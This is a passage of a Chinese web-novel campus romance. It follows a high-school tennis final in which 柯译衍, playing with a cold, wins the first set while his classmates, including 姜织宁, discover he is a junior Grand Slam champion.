艾彤说完话后，抬手拍了拍俞杨肩膀，说柯译衍叫他过去。 俞杨扭头，就见柯译衍面无表情抱臂盯着他，下巴冷酷朝前一指，意思让他麻溜滚过来，俞杨不敢不从，嘤嘤夹起尾巴，屁滚尿流地过去了。 “想打架？”柯译衍嗓音没什么温度地说。 俞杨心虚摇头：“没啊。” 柯译衍冷笑一声：“那你手举起来干什么，做广播体操？” 俞杨：“” 柯译衍冷声骂道：“手腕受伤，到现在还没恢复的人是谁？以后不想打网球了是吧，需不需要我替你跟教练说一声？骂我又不是骂你，你瞎激动什么劲？别人犯蠢就算了，你也跟着蠢？分不清主次轻重吗？” 原本占子杰还想帮忙劝两句，一听到柯译衍这么说，也觉得有道理，就没吭声。 身为运动员，身体确实金贵，像有些明星运动员就会为自己的身体巨额投保。 俞杨沉默几秒，不服气顶嘴：“周狗他们当众说你坏话啊，而且还是在江中地盘上骂你，这我能忍？！” “他脑子天生有问题，你和智障浪费什么时间？”柯译衍皱眉说。 俞杨一时噎住，佩服心说，还是你更会骂啊，俞老师甘拜下风，甘拜下风。 柯译衍颜值高，球技好，为人低调，所以是有些网球迷追随的。 甚至在社交网站上，还有粉丝们自发为他组织的后援会，尤其是在少年16岁横空出世，连续拿下两座大满贯青少年冠军之后，粉丝数量一度激增。 当时，所有人都对柯译衍抱有很高的期望，大家都认为，这位天才少年将会突破男网历史，拥有光明璀璨的未来。 可是人们高兴没多久，便发现天才少年在拿下温网青少年赛冠军之后，比赛成绩突然下滑，连续爆冷出局，最后直接在赛场上消失，查无此人。 在这期间，后援会里不断冒出异样的声音，有人唏嘘不已，有人痛骂嘲讽，骂得特别难听。 柯译衍却不以为意。 他连网上那些骂声都不在乎，自然更不屑理会周胜扬这帮loser的酸言酸语。 另一边，姜织宁冷脸盯着周胜扬，严肃说：“比赛期间，球员须尊重比赛规则和礼仪，尊重裁判、对手、工作人员和观众，如有违反，组委会将对球员予以相应处罚，情节严重者会被取消比赛资格，成绩清零。” 她扬声质问：“周胜扬，你是想挨罚吗？” 周胜扬喜欢姜织宁，当然不会对她怎么样，但被她公然偏袒指责，脸上也挂不住面子。 他强忍着脾气，无言片刻后，抬手指向俞杨，质疑说：“他也出言不逊了。” “是谁先挑事？”姜织宁冷声秒回，“其次，他是观众，你想取消比赛资格，和他一样变成观众？” “” 这下周胜扬没话说了，他忘了俞杨没参加比赛这回事。 哎，宁王出手就是牛啊。 你瞧瞧，气场强势，说得有理有据，不容反驳。 俞杨止不住地笑，同时不忘使坏心眼，插嘴提醒：“宁王啊，周胜扬已经输了，一轮游的人没资格参加后续比赛。” 周胜扬握紧拳头，冷冷斜了眼俞杨，脸色特别难看。 “啊，一轮游啊？哦抱歉，我忘了。”姜织宁嘴上说着抱歉，语气却相当敷衍，她侧目看向身边的学生会主席，冷静询问，“这种情况怎么处理？” 学生会主席严肃接话：“我们会及时联系球员就读的学校，告知球员违反体育道德的行为，要求校方作出相应处罚，另外球员的个人行为，也会牵连影响到贵校往后比赛的参赛资格。” “哎妈呀，连坐哎，那不就是附中跟着一起遭殃吗。”俞杨幸灾乐祸地说。 周胜扬黑着脸，听不下去了，转身拿起球包就走。 “慢走不送啊！”俞杨抬起手臂晃了晃，故意冲周胜扬背影喊道，“欢迎下次再来，毕竟江中空气更香哦！” 占子杰旁观一出好戏，唏嘘中，忍不住拿肩膀轻撞了下柯译衍，夸道：“你搭档真酷哎！” 什么搭档？ 柯译衍淡道：“说谁？” “当然是宁王啊！她那个镇压全场的气势，简直帅呆了好吗！”占子杰意味深长地说，“我可听俞杨说了啊，你俩还有个组合名，All Kill，双A组是吧？哎哟，咋这么霸气呢！厉害死了！” 柯译衍：“” “AK，真棒！”占子杰扭头冲俞杨坏笑道，“下次咱两组双打的时候，也取个炫酷组合名怎么样？” “哈哈哈哈哈，可以可以！”俞杨嬉皮笑脸。 两男生幼稚笑成一团，柯译衍没眼看，无语挪开眼，懒得理会。 组委会那边还有工作要忙，姜织宁对柯译衍打了声招呼：“我先走了啊。” 柯译衍弯唇点了点头。 临走时，占子杰喊了声：“哎，宁王！” 姜织宁侧身朝他看过去。 “刚刚太帅了啊！”占子杰笑嘻嘻说，“要是我在贵校遭遇了不公平待遇，能帮我撑场子吗？毕竟咱们是外来球员，在江中人生地不熟的，怪害怕的呢！” 柯译衍无语看着男生演戏。 姜织宁抿唇笑起来，爽快答应：“可以啊。” 第54章 他居然是大满贯青少年冠军？！ 柯译衍每晋级一轮, 果盘里的加油旗帜便会多出一根。 也正如姜织宁所祝福的旗开得胜，柯译衍的比赛格外顺利，一路以横扫之姿向决赛稳步迈进。 在半决赛中, 他以6-3的比分击败占子杰，最后毫无意外, 将和同样横扫晋级的周跃丞于决赛中交手，共同争夺冠军宝座。 全国中学生网球联赛最后一场决赛并没有放在江中校内举行, 而是大手笔的挪到了本市顶级网球场馆——江洲市网球中心。 比赛时间在下午，校方特意安排了数辆大巴车, 专门接送赛事相关人员和师生们去市网球中心。 姜织宁坐的这辆大巴车全是学生, 她和周静瑶坐一起, 两人后面坐着俞杨和柯译衍。 从学校到市网球中心的车程大约一个半小时，上车没多久, 叽叽喳喳的笑闹声很快消失，一眼扫过去, 座椅上的睡姿七扭八歪，不忍直视。 姜织宁对睡眠环境要求高, 这种环境她睡不着，不过也靠着窗浅眯了一会儿, 意识朦胧间, 她忽然听到后排传来几道低声对话。 俞杨：“鼻子不通气啊？” 柯译衍：“嗯。” 俞杨：“是不是被传染感冒了？现在换季, 一下冷一下热的, 班里不是有好几个同学感冒了吗。你除了鼻塞，还有没有其他症状, 比如头晕喉咙痛什么的？” 柯译衍压着喉咙, 轻咳了一声：“没有。” 俞杨：“我瞅瞅，快让我瞅瞅！” 柯译衍：“啧, 离我远点。” 俞杨：“嗯，脸色倒是看着还行。靠，你可千万别发烧哎，这待会儿就比赛了，能撑得住吗？到时候真不舒服了，咱该放弃就放弃啊，别逞强把身体弄垮了！” 柯译衍低声说：“不至于，没那么夸张。” 姜织宁睁开双眼，缓了缓神，稍稍起身转向后排，她右膝盖撑在座椅上，双手扶住椅背，探头看向柯译衍。 少年穿了件深灰色连帽卫衣，帽子套头，耳朵上戴着蓝牙耳机，双手懒散环在胸前，松弛靠着椅背。 他的脸色看上去好像是和平时没什么区别。 大巴车的椅背高，导致姜织宁的姿势宛如草丛里的兔子，兔子不打一声招呼，突然直立身体，在草丛里冒出一颗小巧脑袋，安静地研究着人类。 柯译衍一抬眼就对上她的目光，愣了愣，被她这副模样逗得唇角微挑。 “怎么了？”他笑着摘下半只耳机。 大部分人还在昏睡中，姜织宁蹙眉望着他，压低嗓音说：“你感冒了啊？” 柯译衍：“一点。” 姜织宁正要接话时，大巴车在左拐途中突然颠簸好了几下，俞杨惊呼“哎！”了声，就见姜织宁不稳地晃了晃，身体瞬间不受自控朝右歪倒。 眼看少女脑袋就要磕向车窗，柯译衍眼疾手快，上半身前倾，立马伸手托住她脸颊，替她挡在车窗前。 “没事吧？” 柯译衍皱眉看着姜织宁。 时间突然被按下暂停键，世界一片寂静，姜织宁的五感瞬间被放大到极致。 少年手掌宽大有力，手指修长，一只手几乎覆盖住了她半张脸，掌心的温热穿透她脸颊薄透的皮肤，源源不断袭来。 刹那间，姜织宁心头莫名一紧，情绪也变得说不上来的微妙。 静默数秒，她忽然注意到坐在最后一排的班长慢吞吞伸着懒腰，睡眼惺忪地朝这边看来。 姜织宁微敛神色，脸颊迅速离开柯译衍的掌心，她双手用力扶住椅背，身体站直，脸色从容地说：“没事。” 她的语气倒是很镇定，但动作却有点着急，柯译衍盯着她，意味不明地笑了下，确认她真没事后，才慢悠悠收回手，懒散抱臂靠向椅背。 姜织宁抬手，把乱掉的头发勾至耳后，就像刚才的小插曲不存在一样，继续原先的话题说：“感觉你有点鼻音，你带药了吗？” 柯译衍摇头：“没有。” 她想了想，问：“有没有带矿泉水？” 不等柯译衍回答，俞杨抢先说：“我这儿有！” 他立马从书包里翻出矿泉水递给姜织宁。 姜织宁拧开瓶盖，丢进去几片随身携带的维C泡腾片，橙色气泡上涌翻腾，泡腾片迅速溶解于水中。 姜织宁用力摇晃瓶子，确认片剂全部溶解后，把水递给柯译衍，“维C水，现在就喝掉。” 俞杨附和说：“维C是好东西，快点喝啊，宁王亲手制作，绝对管用！” 柯译衍懒洋洋伸手接过来。 姜织宁准备转身坐下，柯译衍及时叫住她，询问：“帽子带了吗？” 她说：“帽子？戴了顶渔夫帽。” 柯译衍嗯了声，那句“没带他球包里有”的话就没说出口，转而叮嘱道：“下午太阳很晒，你坐看台上记得戴帽子，小心中暑，身体不舒服就和周导说。” 她笑起来，点头说：“知道了。” 大巴车开开停停，一个半小时后，终于抵达江洲市网球中心，众人心情雀跃排队下车，跟随工作人员走进钻石场馆。 周跃丞下车后快步穿过熙攘人群，走到柯译衍身边，一脸幸灾乐祸看着他。 “听说你感冒了？哟，这么巧呢。” 柯译衍仰头喝完最后一口维C水，懒散斜睨他一眼，没搭话。 周跃丞拿手肘撞他一下，忍不住笑话说：“身体行不行啊你，决赛得打三盘，我可不会手软啊。” 柯译衍嗤笑出声，不屑挑了挑眉，淡道：“我用得着你手软？” “行啊，就等你这句话！”周跃丞笑嘻嘻地说。 网球中心钻石场馆的规模很大，一进入球场大门，就能看到场内电子大屏正循环播放着网球联赛赞助商的广告。 圆环形的看台可容纳数千名观众，座位由低到高有序排列，以便观众目光聚焦中心赛场，现场还有专业鹰眼设施，数名司线和球童，一切都按照专业比赛来配置。 姜织宁之前对体育运动兴趣不高，自然没去过线下观看网球比赛。 这是她第一次来到大型网球场馆，感觉挺新奇挺特别，路上听工作人员介绍说，钻石场馆并不是他们这里规模最大的球场，最大那个的球场可以容纳上万名观众。 他们这批人来得最早，所以走进球场的时候里头还没有多少人，过了一会儿，陆陆续续的，不断有人进场坐下。 柯译衍和周跃丞两个人进场稍作准备后，就开始到赛场上热身准备。 姜织宁坐位子上看了一会儿训练，中途起身陪周静瑶去洗手间，回来的路上，意外发现看台上突然多出不少人。 “我去，怎么来了这么多人啊？”周静瑶一脸震惊。 姜织宁也很诧异，半疑惑半打趣地说：“该不会是，我们学校特意请的水军吧？” 周静瑶点点头，认真脸说：“我也觉得像水军，大手笔啊，江中请来这么多人，得花不少钱吧！” 决赛放在校外举行，现在又是上课时间，所以江中学生无法悉数到场，本着自愿观赛原则，学校这边，本部和分校区都只到场了一部分师生。 姜织宁坐下来，好奇环顾四周，发现全都是陌生面孔，那些人也没穿校服，不仅有社会人士，居然还有不少小朋友。 她困惑咦了声，自言自语：“怎么还有小朋友过来呢？” 俞杨听到后，笑眯眯解释：“大概率是各大网球俱乐部里的小学员，毕竟今天这场决赛是两位青少年大佬的巅峰对决，还不要门票，免费观赛，这么好的机会，肯定要让旗下学员过来学习观摩嘛。” 说着，他抬手指向斜对面，那边坐一群并不是江中学生，手上却拉着加油横幅的年轻人，见怪不怪地说：“诺，衍神和丞哥的球迷也来了。” 黑压压一大群人，其中好多人举着为柯译衍加油的应援手牌。 这人气，这排场，姜织宁有点被震惊到了。 她微微睁大眼，和同样震惊脸的周静瑶默契对视一眼，茫然心想，怎么回事啊？柯译衍为什么会有这么多球迷啊？ 姜织宁疑惑收回目光，刚想追问俞杨怎么回事，余光忽然停滞在右上角方向。 她怔了秒，抬头正视。 黑衣男人是柯译衍的舅舅柯绍之，抱臂端坐在右上角不远处，他旁边坐着一对挺眼熟的男女，女人身穿浅紫色连衣裙，鼻梁上架着副墨镜。 “柯译衍妈妈也来了？” 姜织宁犹豫了下，低声对俞杨说。 “啊？？？”俞杨也是一愣，忙说，“哪呢？哪呢？” “右上角四十五度，浅紫色连衣裙，带墨镜那位。” 俞杨立马转身望去，仔细瞧了眼，表情顿时滞住，妈呀，还真是柯译衍亲妈！ 柯卉芸敏锐察觉到有人在偷看她，抬手摘下墨镜，微微低头望过来，发现是俞杨后，便对他温柔地笑了笑。 “柯柯阿姨好。” 俞杨磕磕巴巴打了声招呼。 他尴尬收回目光，神情复杂地对姜织宁说：“肯定不是衍神让她来的，他从来不会和柯阿姨说这些事，以前衍神出去打比赛，都是他一个人来回，特别独立，最多跟个教练。” “EQUA是这次联赛的赞助方，所以柯叔叔肯定知道柯译衍参赛，估计是他和柯阿姨说的。” 姜织宁若有所思推测说。 俞杨点头赞同：“应该是这样。” 除了碰见不少熟人面孔，姜织宁还在现场发现了两位莫名其妙的观众。 一个是韩辰，他头戴黑色棒球帽、黑色墨镜、黑色口罩，一身乌漆嘛黑打扮，从头到脚包裹得严严实实，像做贼似的低调溜到俞杨身后坐下。 “你不热吗？”姜织宁一眼认出韩辰，扭头困惑目视着他，发自内心地问。 韩辰脱掉黑色厚外套，摘下墨镜，诚实点头：“热。” 她又问：“你怎么来了，不是昨天还在录综艺吗？” “你怎么知道？”他不可思议反问。 姜织宁不以为意地说：“关注你微博了啊。” “关注我微博？”韩辰瞬间有些紧张起来，不安追问道，“什么时候啊？账号名叫什么？上次不是说没关注吗，你可别随便评论啊！” 他合理怀疑，姜织宁一个不高兴，绝对会在评论区抖出他曾经的黑历史。 姜织宁忍不住翻了个白眼：“我闲得慌给你评论，想的美，最多点个赞。” “哦，点赞可以啊，点赞好！”韩辰神情放松地说，“嗨！这不是特意赶回来给衍神加油嘛，决赛哎！” 姜织宁疑惑问：“没记错的话，你不是附中的吗？” 韩辰啧了声，见怪不怪地说：“那怎么了？我也是衍神的忠实拥护者啊！” 行，这个理由很合理，但是，为什么周胜扬也在这里啊？？？ 姜织宁的脸转去另一个方向，用一种“who are you?”的不友善眼神，直勾勾盯着男生。 周胜扬被她看得脸上浮起几分尴尬神色，沉默三秒后，主动起身，换去了距离更远的座位。 说实话，姜织宁挺无语的，她也是搞不懂了，这人明明和柯译衍不对付，却要特意来看他比赛？ 这是一种怎么样的复杂情感？ 究竟是人性的扭曲，还是道德的沦丧？ …… 时间一分一秒过去，工作人员陆续进场。 随着比赛时间临近，裁判开始介绍起比赛规则，与此同时，柯译衍和周跃丞继续在球场上击球热身。 “今天比赛绝对精彩！俩全场型大佬巅峰对决，唉，好久没看到衍神正经打比赛了，真怀念啊！” 俞杨后靠向椅背，忍不住和姜织宁感叹说。 闻言，姜织宁又开始虚心请教：“什么是全场型？” 俞杨耐心解释：“你看啊，网球场的面积很大嘛，球员很难照顾到每一个角落，所以就会有侧重点。用我教练的话来说呢，我算是底线型选手，活动区域基本就在底线附近，以防守为主。” “当然了，很多底线型球员的技术很出色，很敢上网进攻，我单纯是因为球技不足，所以不太敢上网，一旦被对手调动上网，就很容易漏出破绽。” “第二种，有些球员喜欢主动进攻，在网前活跃，比如喜欢发球上网，打出各种截击球和高压球，他们被称为上网型选手，这类球员专制我们这种底线型选手。” “而衍神和丞哥呢，就是第三种全场型选手，可底线防守，可网前进攻，变动灵活，打法均衡技术全面，挑不出什么弱点。” 这么厉害的吗，姜织宁微扬了扬眉，笑说：“那不就是carry全场？” 俞杨竖起大拇指：“对啊，全场型选手的球技可牛了！” 当热身还有三分钟结束的时候，裁判开始呼报提醒。 “Three minutes。” “Two minutes。” “One minutes。” “Thirty Seconds。” “Time！” 热身结束。 裁判提醒之下，观众配合安静下来。 柯译衍和周跃丞停止击球动作，回到球员座位稍做休整，然后拿着球拍走到赛场底线位置，等待比赛开始。 裁判：“First set，周跃丞to serve。” 裁判：“Ready，Play。” 周静瑶好奇问姜织宁：“First set，第一盘？什么意思啊？” 几场网球比赛看下来，姜织宁已经从俞杨陆陆续续的科普中大致了解了比赛规则，这回轮到她来解释，一时觉得挺新奇。 “之前的比赛都是一盘胜负，决赛换成了三盘两胜制，裁判的意思是第一盘，周跃丞发球。”姜织宁轻声解释完，扭头看向俞杨，用开玩笑的口吻说，“我没解释错吧，俞老师？” 听到姜织宁忽然用于俞老师称呼自己，俞杨足足愣了好几秒才反应过来，他心里美滋滋，眼睛都要笑没了。 “哈哈哈哈哈，当然没有，解释得好！解释得好！” 姜织宁笑了笑，目光重新挪向赛场，专注看起比赛。 她很快发现，赛场上“嘭！嘭！”的击球声，不再像之前比赛的时候那样清脆，因为少年们不留情面，爆发力十足的强势挥拍对抗，击球声变得更加沉闷有力。 球速明显更快了，几乎看不清空中的球线，一边球员发球过去，等观众反应过来想找落点时，另一边的球员早已暴力挥拍回击。 阳光灼热，头顶烈日暴晒着球场，耳边吹来阵阵闷热的风，天气并不算舒服。 最开始裁判投掷硬币的时候，周跃丞选择先发球，柯译衍选择了背对太阳的站位，但很快天公不作美，起风了。 柯译衍是逆风位，等到互相交换场地时，风又弱了下来，如此反复，好像专门和他作对似的。 就这么看了几个来回后，姜织宁忍不住开口说：“风向对柯译衍不利。” 周静瑶放下相机：“那肯定，逆风对球有阻力作用。” 俞杨插嘴说：“丞哥是顺风位，对他很有利，所以他一直在用上旋球对付衍神。” “那怎么办？”姜织宁蹙眉问。 俞杨摇摇头：“这个没办法，一般不会暂停比赛的，除非风特别大。像风大、天气炎热、裁判误判、对手作妖、观众影响这些都属于网球比赛中的常见挑战，球员得自我调整心理状态和战术，怎么说呢，也算是比赛中的一环吧。” 姜织宁没搭腔，紧紧注视着柯译衍的身影。 俞杨看她表情严肃，咧嘴笑了笑，安慰说：“宁王别担心啊，对衍神来说逆风的问题不大，他已经在调整策略了，逆风里他可以多削球，再放放小球嘛。” 裁判：“Deuce。” 随着裁判一声呼报，赛场上的比分重新回到平分40-40。 周跃丞抬起手，用护腕擦了擦额头上滚滚流淌的汗水，紧接着手掌拖球上抛，凌空跃起，以一记ACE球迅速拿下一分。 裁判：“Advantage周。” “好球好球！丞哥可以啊！”俞杨忍不住鼓掌称赞。 周跃丞下巴微抬，目光得意看着柯译衍，握拳呐喊了一声，看台上，周跃丞的球迷跟随着拍手叫好。 “这是什么意思啊？”周静瑶看向姜织宁，好奇追问。 姜织宁：“AD，占先的意思，目前周跃丞领先一分，规则是球员必须净胜两分才能拿下这局比赛，周跃丞还差一分。” 周静瑶想了想，又问：“如果下一分是衍神赢呢？” 姜织宁：“那就重回Deuce，40-40平分。” 周静瑶不禁咂舌：“这么复杂啊！” 很快，周跃丞乘胜追击，再度轰出一记时速188km/小时的ACE球，顺利拿下本局。 裁判：“Game周，柯leads 4-3，first set。” 第一盘比赛，柯译衍以4-3的比分暂时领先。 局间休息。 场内放起轻松音乐，两名球员回到各自座位上短暂休息，观众迅速起身上厕所。 下午的太阳如火焰般热烈燃烧，空气中夹杂着明显的闷热感。 姜织宁蹙眉抬头，看了眼头顶的炽热阳光，扭头对俞杨说：“你下去问问柯译衍身体感觉怎么样，有没有头晕不舒服。” “对哦！” 俞杨愣了下，猛然想起柯译衍不幸赛前感冒的事。 唉，心疼，他兄弟咋这么可怜悲催呢！ “这个带给他。”姜织宁把手中刚做好的维C水递给俞杨，问，“他能拿吗？” “应该能吧，毕竟咱们是业余友谊赛，估计规矩没那么严！” 俞杨领命接过水，三步并两步麻溜跑下台阶，迅速抵达看台第一排，正对着柯译衍座椅的位置。 隔着栏杆，他呼喊两声。 “衍神！衍神！” 柯译衍放下毛巾，扭头看过来。 “诺，宁王特意给你弄的维C水！”俞杨将瓶子递出去，同时关心道，“身体还好吧？有没有头晕不舒服啊？” 柯译衍微怔，偏头看向坐满了人的观众席。 在过去的时光里，他无数次只看向姜织宁的行为，已经在潜移默化中养成了心脏记忆。 所以这一次，即使看台上有那么多的人，即使隔着遥远的距离，密密麻麻的人海中，他依然轻而易举地找到了姜织宁的身影。 就像过去无数次那样，他那双漆黑如海的眼眸里，依然唯独只有她。 目光交汇，少女心有灵犀，默契地小幅度冲他挥了挥手，眉眼弯弯笑起来。 柯译衍唇角微挑，原本平静的心情随之化为金色阳光照耀下的海浪，翻滚起一阵阵名为愉悦的浪花。 局间的休息时间很短暂，柯译衍很快收回视线，和裁判打了声招呼，起身过来拿水。 “没事。”他对俞杨说。 天气炎热，又感冒了，这种情况下高强度运动，其实身体是有点不舒服的，但影响不算大。 俞杨放心了：“哦，没事就行！宁王不放心你，特意让我下来关心你，还让我和你说一声加油！” 最后一句是他自行添加的，就突然灵光一闪，也不知道为什么。 柯译衍拿完水便回去了，俞杨一路小跑回到座位，对姜织宁说：“衍神传话，他说天气闷热，让你别忘记戴帽子避暑。” 姜织宁点头说好。 艾彤就坐在俞杨右手边，听到这句话，顺势看了眼姜织宁，意味深长打趣说：“不愧是双A组啊，互相关心呢～” 姜织宁笑了笑，没听出言外之意。 俞杨也没察觉出不妥之处，一脸天真回应：“那肯定啊，毕竟这场决赛关乎我们大江中的荣誉！我们江中人好胜心很强的好吧！” 艾彤：“” 比赛继续，没过多久，周跃丞再赢下一局。 裁判：“Game周，4 games all，first set。” 至此为止，周跃丞追上柯译衍，将比分拉到4-4平！ 裁判呼报结束后，下一秒，占子杰、艾彤这帮大佬瞬间激动起身，振臂高呼。 “啊啊啊啊！丞哥加油啊！！！” “丞哥最最最最牛逼！！！” “丞哥是最棒的！！！” “雾京附中加油！！！” “丞哥丞哥我爱你！！！” 见状，俞杨瞪着这帮人，不满质问：“这心偏的，你们怎么只给丞哥加油啊？？？眼里看不见衍神吗？？？” 占子杰嬉皮笑脸坐下来，叹声道：“衍神有主场优势还不够啊，还差我们几个吗？” 艾彤笑眯眯附和：“就是，现场三分之二的人都在支持柯译衍，那我们当然要为周跃丞加油了。” 道理是这么个道理，但心里还是感觉不太舒服，俞杨没好气地撇了撇嘴。 在座江中学生听到有人狂喊雾京附中加油后，集体不甘示弱起身，用力挥舞校旗，扯着喉咙，疯狂嘶喊—— “江中加油！！！衍神加油！！！” “衍神最牛逼！！！衍神才是最棒的！！！” “大江中吊打雾京附中！！！” “衍神加油啊啊啊啊啊！！！” “江中无敌！！！江中最厉害！！！” “123，江中！！！” “Gold ！Gold ！Wu！！！” “123，江中！！！” “Gold ！Gold ！Wu！！！” 到底是人多势众力量大，江中学生热血沸腾的加油声响彻球场每一个角落，直接把坐在前排的各方领导们吓了一跳，领导们纷纷笑着感慨，年轻真好啊！ 比赛前期的风势不利于柯译衍，好在他心思沉稳，赛场经验丰富，早已习惯这些外界干扰，所以心态上并没有受到什么影响，仍然思绪专注，掌控着局势。 场上的比分被拉到4-4平，风也逐渐停了下来，柯译衍迅速调整状态，转而提高球质。 很快，从防守转为进攻的强势节奏中，柯译衍稳定拿一局！ 裁判：“Game柯，柯leads 5-4，first set。” “这局拿下了。” 姜织宁笑着对周静瑶说，内心雀跃不已，目光紧紧跟随着赛场上的柯译衍，情不自禁为他鼓掌。 最后一局中，大概是因为周跃丞有点不太适应柯译衍突变的进攻打法，比赛期间出现了好几个非受迫性失误。 裁判：“15-0。” 裁判：“15-15。” 裁判：“30-15。” 裁判：“40-15。” 盘点来了！ 柯译衍只要再赢一分，就能赢下首盘比赛！ 观众们不由屏住呼吸，水不喝了，话不聊了，热烈目光集体聚焦在柯译衍身上，期待他能顺利拿下盘点！ 在柯译衍爆发力十足的正反手攻势下，周跃丞被逼的离底线越来越远，位置不利，为了争取重回底线的时间，周跃丞只好防守打出一个挑高球。 网球在空中划出超乎寻常的惊人高度，但很可惜，落点不够深。 机会来了！ 柯译衍仰头紧盯着空中的球，与此同时，步伐敏捷奔跑到中场位置，时机来临的那一瞬间，他抬手猛力一挥，回出一记凌空高压扣杀！ 沉闷的“嘭！”一声，网球沿着小斜线的方向飞远，最终落在边线附近，高弹跳至场外。 周跃丞没接到，柯译衍注视着这一幕，愉悦扬了扬眉，勾起唇角笑起来。 第一盘比赛，他赢了。 裁判：“Game and first set 柯，6 games to 4。” 计时40分钟，柯译衍以6-4的比分，将首盘胜利强势收入囊中。 全场死一般的寂静，直到裁判呼报完的那一秒，瞬间爆发出响彻云霄般的欢呼声。 “衍神牛逼！！！” “衍神太帅了！！！” “啊啊啊啊啊啊江中最棒！！！！！” 江中的学生兴奋站起来，纷纷握拳挥舞着，纵情大喊着。 “wow！高压扣杀，好球！太漂亮了！” 俞杨握紧拳头，激动高吼一声。 一时间，他兴奋过头，冲动扭头对姜织宁说了句：“瞧瞧！这就是大满贯青少年冠军的实力！！！” 啊？ 姜织宁鼓掌的手猛然顿住，她一点一点转头看向俞杨，疑惑反问：“大满贯冠军？” “是啊，衍神牛不牛！哎，1-0，哈哈哈哈哈！” 虽然姜织宁对网球运动关注不多，但也不至于信息闭塞到没听过四大满贯。 她沉默三秒，确认问：“你刚才说的是，网坛含金量最高、奖金最多的顶级赛事——四大满贯？” 激情褪去，俞杨理智回归，后知后觉意识到他说漏嘴了。 怎么说呢，柯译衍拿过大满贯青少年冠军的事并非人人知晓。 江中本部有很多全面发展的牛人大佬，这些人在学习上、艺体上或是各自的兴趣爱好上，拿过各式各样的金牌、冠军奖项，一个个都是六边形战士，厉害得很。 平时不关注网球的人，自然不知道柯译衍过去的网球成绩，也很难了解其中的含金量。 自从柯译衍低调转来江中念书后，俞杨很清楚网球是柯译衍的禁聊雷区，所以在外人面前，他从来不敢多说一句柯译衍的过去。 这就导致大部分同学，包括姜织宁，一直误以为柯译衍只是会打网球，且球技比普通人好而已。 好家伙，大满贯青少年冠军！ 晕，原来是柯译衍是隐藏大佬啊？？？ 姜织宁神情过于震惊了，俞杨怕她误会，连忙解释道：“没错，不过衍神拿的是青少年组，大满贯分青少年组和成年组，最牛逼的是成年组，那是职业网坛的顶尖荣耀，所有网球人的终极梦想。” 姜织宁缓缓睁大眼睛，静默数秒后，不可思议夸道：“青少年组也很厉害吧！” 这可是大满贯哎！！！ 反正柯译衍这会儿不在身边，既然已经说漏嘴了，况且姜织宁又是自己心中滤镜拉满的女神，俞杨干脆先斩后奏，大胆透露道：“是吧是吧！他不仅拿过冠军，还拿过两个呢！就去年16岁的时候，双冠王横空出世，牛逼死了！！！” 原来是这样，姜织宁终于明白了。 她抬眸望向斜对面那群拿着加油手幅的球迷，难怪，难怪这群人会赶来为柯译衍加油。 之前她居然天真以为，这群球迷是学校特意请来撑场面的水军…… 学校里好多领导、老师都来了现场观看比赛，包括班主任刘彬。 姜织宁不敢明目张胆，愣怔坐下后，先和周静瑶打了声招呼，让她帮忙看着点老师，然后拿渔夫帽遮挡住手机，根据俞杨所说的，偷偷上网搜索柯译衍的信息。 这是她以前绝对不会关心，也绝对不会做的事。 搜索框里输入柯译衍的名字，很快跳转出来相关词条，她随手点进他的个人介绍。 里面内容并不多，全是他青少年时期网球生涯的比赛战绩，姜织宁快速浏览了一遍，发现他参加的比赛不算多，但成绩都很不错，不是冠军就是亚军。 其中最耀眼的，当然是16岁这一年，少年连续拿下法网、温网青少年组冠军的荣耀。 相当厉害！ “手机手机！” “彬彬来了！彬彬上来了啊！” 忽然间，班主任刘彬沿着台阶走上来，周静瑶连忙拿胳膊轻撞姜织宁。 场馆内气温高，头顶又没遮挡，每个人就这么暴晒在烈日之下，刘彬是操心命，怕班上学生中暑，时不时就要走上来探望一眼。 “热不热啊？” “感觉怎么样，没不舒服吧？” “下面有矿泉水，还有小扇子，班长记得定时搬上来分发。” 仔细查看了一遍，确认学生身体没问题后，刘彬原路返回，路过姜织宁时，瞄见她腿上放着渔夫帽，便叮嘱说：“热就把帽子戴起来啊，这太阳是有点大。” 姜织宁微笑点头：“好的，刘老师。” 刘彬满意背着手下去了。 姜织宁将手机锁屏，偷摸塞进书包里，然后一脸严肃看向周静瑶，开口说：“你知道吗。” “嗯，怎么说？”周静瑶洗耳恭听。 “柯译衍，居然是拥有百度百科的牛人，他还拿过大满贯青少年冠军，16岁，两个！” 很明显，从周静瑶脸上略显困惑的表情就能看出来，她比姜织宁更加不了解网球运动。 如果你问她谁拿过四大满贯，谁是网坛三巨头，她肯定一问三不知，但如果和她聊起利普策新闻摄影奖，那她绝对滔滔不绝，能说上三天三夜。 哪怕周静瑶全程参与了这次的网球联赛，但她唯一关心的，只是如何把赛场上的照片拍得更好看而已。 周静瑶不太懂大满贯青少年冠军的含金量，不过既然是冠军嘛，肯定很厉害就是了。 只不过，姜织宁的语气是不是有点过于不淡定了？ 这可不像她认识的姜织宁啊。 周静瑶无言几秒，忍不住对好友说：“好，听上去很棒，但是朋友，你也是拥有百度百科的牛人啊！” 她直接掰着手指，替姜织宁列举起来。 “四岁拍摄明力牛奶广告出道。” “五岁拍摄柏风百货、柏风酒店广告，还代言了国民婴童护理品牌babycool。” “六岁签约好几个奢牌童装模特。” 姜织宁耐心旁听周静瑶列举了一会儿，若有所思数秒后，打断她说：“怎么感觉，还是柯译衍更厉害呢？他可是冠军哎，世界级那种。” 周静瑶立马说：“你也拿过很多舞蹈冠军啊，以前不是还参加过那个什么杯呃有点像动物的名字，是什么杯来着？” 姜织宁接话：“雀灵杯？” “对对对，雀灵杯！号称国内舞蹈界奥斯卡，你不是还拿了金奖吗！不要太牛好吗！” 周静瑶摆了摆手：“哎呀，反正你俩都是牛人，谁也不差，不然干嘛叫你们双A组！” 第55章 神仙打架，针锋相对 裁判：“Time！” 裁判：“Second set。” 盘间休息结束, 第二盘比赛正式开始。 第一盘两人打得相对保守，大部分时间都在底线相持，有种赛场上许久未见, 互相试探球技水平的意思。 等到了首盘盘末，周跃丞察觉到柯译衍从防守转为进攻的策略, 因此在第二盘比赛中，也随之快速调整了战术。 很明显, 第二盘比赛时的球速更快了，角度也撕得更开, 高度和落点深度大胆许多, 可以说球的旋转方式诡异多变。 姜织宁敏锐看出区别, 对俞杨说：“感觉比赛节奏变快了。” “你也看出来了？”俞杨惊讶挑眉。 她点头：“有点。” 俞杨笑说：“战况确实更激烈，现在衍神是进攻型打法, 丞哥那边也在进攻，两边都在主动上网。” 柯译衍脚步移动敏捷, 反应速度很快，而另一边周跃丞的步伐也不赖。 发球局中, 两个人不断轰出时速越来越高的凶狠ACE球，谁都想保发, 也都想破掉对方的发球局。 一方上网进攻, 另一方也冲到网前, 双方短兵相接, 时不时在球网附近搏杀。 